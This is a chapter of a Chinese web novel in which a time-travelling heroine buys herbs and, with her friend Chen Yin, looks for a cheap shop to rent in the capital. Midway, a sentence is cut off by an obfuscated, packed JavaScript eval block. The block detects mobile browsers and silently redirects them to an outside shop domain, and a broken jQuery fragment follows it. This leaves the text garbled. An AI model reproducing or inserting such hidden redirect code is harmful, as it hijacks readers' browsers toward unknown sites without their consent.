“需要多少,三钱还是五钱?”

    陈茵不知道秦怀谨要开小食店,只当是寻常百姓配药,按药方的量来问。

    好巧不巧,秦怀谨对重量完全没有概念。

    在她的认知里,全是标着200克、500克的条形码,每一份都刚好够用,根本不需要换算。

    别说换算了,她连“三钱五钱”是什么意思都没搞懂。

    见她愣着,陈茵徒手比划起来,“乌梅三钱的话,大概这么多。”

    秦怀谨这下总算有了点概念。她立刻回忆起酸梅汤的配比,摇了摇头,“这些不够。”

    说完,她拉着陈茵的手,往两侧拉开了一些,又向后退了一步,打量了一下大小。

    新店需要靠优惠福利来拉客源,酸梅汤是夏季最合适的搭配,可以先用小杯让顾客尝味道,等他们认可了再正式上架售卖。

    再加上前期熬制给白芷母女学习,以及日常损耗。

    这些,似乎还不够。

    秦怀谨又一次拉着陈茵的手往外挪了挪,终于满意了。

    “差不多这些,每样都是。”

    陈茵几乎是在她摆弄完的下一秒就估算出了大致的重量。

    “半斤?你要开铺子?”她语气里带着疑惑。

    可这话传到秦怀谨耳朵里,就变了味。

    像是在质疑。

    “不是。”秦怀谨否认得太快,连自己都觉得心虚。

    陈茵没说话,只是看着她。

    “就是……多备一些,省得老往你这边跑。”

    陈茵还是没说话。

    秦怀谨被她看得有点发毛,索性岔开话题,“有多少就先多少吧,你帮我备着,我过两天来拿。”

    她说完就要走,被陈茵一把拉住。

    “你缺钱我知道,但倒腾药材没那么好卖。”陈茵压低声音,像是怕被外人听去,“你要真想卖,我帮你找找门路,你别自己瞎折腾。”

    秦怀谨愣了一下,随即反应过来——陈茵以为她要囤药材转手卖钱。

    她张了张嘴,想解释,又不知道该从何说起。

    但陈茵是真的把她当自己人的,她也不该厚此薄彼。

    “我打算让白芷和她娘一起开个铺子,卖些吃食茶饮。”

    “那正好,我对京城的铺子熟啊。你想开在哪?我帮你打听打听有没有现成的。”

    陈茵二话不说,就要开始替秦怀谨张罗。

    她转头把药材单子递给谷芽,让他收好,空了就按方子抓药打包。

    自己则掸了掸身上的灰,作势要带秦怀谨去看空铺子。

    上回秦怀谨要找一处离皇宫近的私宅,她就是这般风风火火。

    不一样的是,这回她身上还带着伤。

    秦怀谨连忙拦住她:,别这样,你安心养伤。我自己四处逛逛,若是看中了,我自己也能签。“

    “那能比我谈的价格更低吗?”

    陈茵只用一句话就拿捏住了秦怀谨的死穴。

    “药铺最近没多少现银,就算你一分不花,也不见得能拿下好地段。当真不用我帮?”

    秦怀谨犹豫了。

    她还真有点想让陈茵帮忙。

    “那……你帮我打听打听,别亲自跑。”

    陈茵没应她,已经走到门口,回头看她还站着不动,催促道,“走啊,还愣着干嘛?”

    秦怀谨只好跟上。

    她自知劝不动陈茵,加上私心作祟,便也不再劝,放慢脚步,跟在她身侧。

    两人沿着街巷一路往东走,经过几家关着门的铺面,陈茵都会停下来看一眼,嘴里念叨着“这家以前是卖布的”“那家是做木匠活的”,如数家珍。

    秦怀谨听着,没有插话。

    这些铺子周围几乎没有什么吃食类的店铺。

    若是开在这里,竞争压力不大,但风险也同样明显。

    始终没人开,就意味着这里很可能根本不适合做这门生意。

    可若再往前走,到了闹市区,便是正经的小食街了,酒楼馆子应有尽有。

    开在那里,一是租金就让秦怀谨难以支撑,二来吃食太多,食客们并非非选她不可。

    长久下去,可能连本金都赚不回来,最终只能关门。

    反观街角这间,租金便宜,食材和药材的成本也不高,几乎是零成本开店,卖多少赚多少。

    怎么想都是后者更划算。

    秦怀谨刚要拉住陈茵,问问右侧这间铺子的价格,陈茵已经走到前面,指着闹市区的方向说,“那里应该也有两三个空的铺面。价格的话……”

    “肯定很贵吧。”秦怀谨还没听完就想打退堂鼓,“要不还是算了,就在这附近租一个吧。”

    “不是的。”陈茵打断她,“靠近河道的那一家,周围都是寻花问柳的地方,价格很高。上一任店家就是因为租金太高才走的。”

    “那另一家是不是很便宜?”秦怀谨抢着问。

    “另一家也不便宜。”陈茵说,“靠街口,人流大,房主不愁租。”

    秦怀谨沉默了一会儿。

    她想起自己刚穿越来的那几天,看着空荡荡的街道,心里也是这种感觉。

    不是没有路,是每条路都写着“你走不起”。

    “逗你的。我说有两三家,这不还有一家吗?”

    陈茵笑着拉起秦怀谨的手,继续往前走去。

    走了好一会儿,她才又开口。

    “刚才你停下的那家,原先是个杂货铺子,搜罗了全国各地的新奇小玩意。生意一好,东家就要涨租金。店家好说话,同意了。可没过几天,东家又堵在店门口,说店家赚得太多,还要再涨。”

    “这不是贪过头了吗?”秦怀谨转头看了一眼身后的铺子。位置不算特别好,但放眼望去,却是这附近门面最干净的一家。

    “可不是嘛。人家赚多少是人家的本事,关东家什么事?”

    秦怀谨没接话,心里却在盘算。

    东家贪不贪,跟她没关系。

    她只想知道陈茵口中很好的闹市区铺面的东家是不是也这样难缠。

    “后来呢?”她随口一问。

    “后来店家搬走了,铺子空了大半年。”陈茵说,“东家也后悔了,降了租金,但一直没人敢接。”

    “为什么?”

    “怕呗。怕生意好了又被涨价,怕东家不讲信用。”陈茵顿了顿,“京城的铺子多的是,谁愿意找个祖宗供着?”

    秦怀谨又回头看了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517522|202062||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一眼。

    那间铺子的门板还是崭新的,漆色鲜亮,比隔壁几家都体面。

    显然店家走的时候打扫过,利利索索的,不像搬走,更像是不想再留一点念想。

    “这家东家,现在还敢涨价吗?”她问。

    陈茵听出了她的意思,停下脚步看着她。

    “你想租这家?”

    “位置还行。”秦怀谨说,“门面也干净。”

    “东家姓周,江南富商之女,跟着夫君一起来的京城。现在该叫旧夫了。”陈茵想了想,“总之她不缺钱。上次把店家逼走以后,被街坊邻居骂了大半年。实在撑不住了,才跟大家说是听了她夫君的话才那么做的。现在她跟那人和离了,也知道错了。租金比之前降了两成,你要租的话,我可以帮你去谈。”

    秦怀谨听完,没急着接话。

    她在想,这个周姓女东家,到底是真知错了,还是被骂怕了。前者可以合作,后者要留个心眼。

    “她人怎么样?”秦怀谨问。

    陈茵知道她问的不是“人品”,是“好不好说话”。

    “我接触过两次,说话客客气气的,不像不讲理的人。”陈茵顿了顿,“就是有点……没主见。什么事都要先问问大伙的意见才敢做,生怕又被骂。”

    秦怀谨点了点头。

    这好办。

    她不需要一个多强势的合作方,只需要一个会按时收租,不三天两头涨价的房东。

    “那你帮我去谈谈。”秦怀谨说,“价格不用再压了,就按她说的来。但需要签长契,最少三年。”

    陈茵看了她一眼,没问为什么。

    三年,是秦怀谨给自己的期限。

    三年之内,这间铺子必须在京城站稳。三年之后,她不需要再靠租金便宜来省钱了。

    要么已经赚够了,要么已经不需要这间铺子了。

    “行,我去说。”陈茵应下来,又补了一句,“要不要我帮你把契书也找人拟了?”

    “不用,我让白芷去办。”

    陈茵愣了一下,随即笑了。

    白芷去办。

    意味着这间铺子名义上是白芷的,外人查不到秦怀谨头上。

    但她没料到,秦怀谨考虑的远比她想的还要多。

    当天未时,白芷按照秦怀谨的吩咐,找到了那位姓周的东家——周韶霜。

    事情很顺利,周韶霜同意了,但提出要见见真正开铺子的店家。

    她口中的店家,在陈茵看来自然是秦怀谨。

    可秦怀谨什么身份,陈茵岂会不清楚?

    定然是能拒绝则拒绝。

    还没等周韶霜再次开口,白芷就哭着跑了进来。

    “陈姐姐,呜呜呜……”

    她哭得撕心裂肺,一时间,正在商量正事的两人都愣住了,谁也没反应过来。

    “我被怀王殿下赶出府了。没有钱财傍身,阿娘的店要怎么开下去啊……”

    白芷哭哭啼啼的,字字句句却格外清晰,根本不像是情绪崩溃的样子。

    陈茵随即看清了,白芷冲她眨了一下眼。

    满脸是泪,眼睛却亮得很,哪有半分被赶出府的伤心。

    陈茵没想到,自己也被算进去了。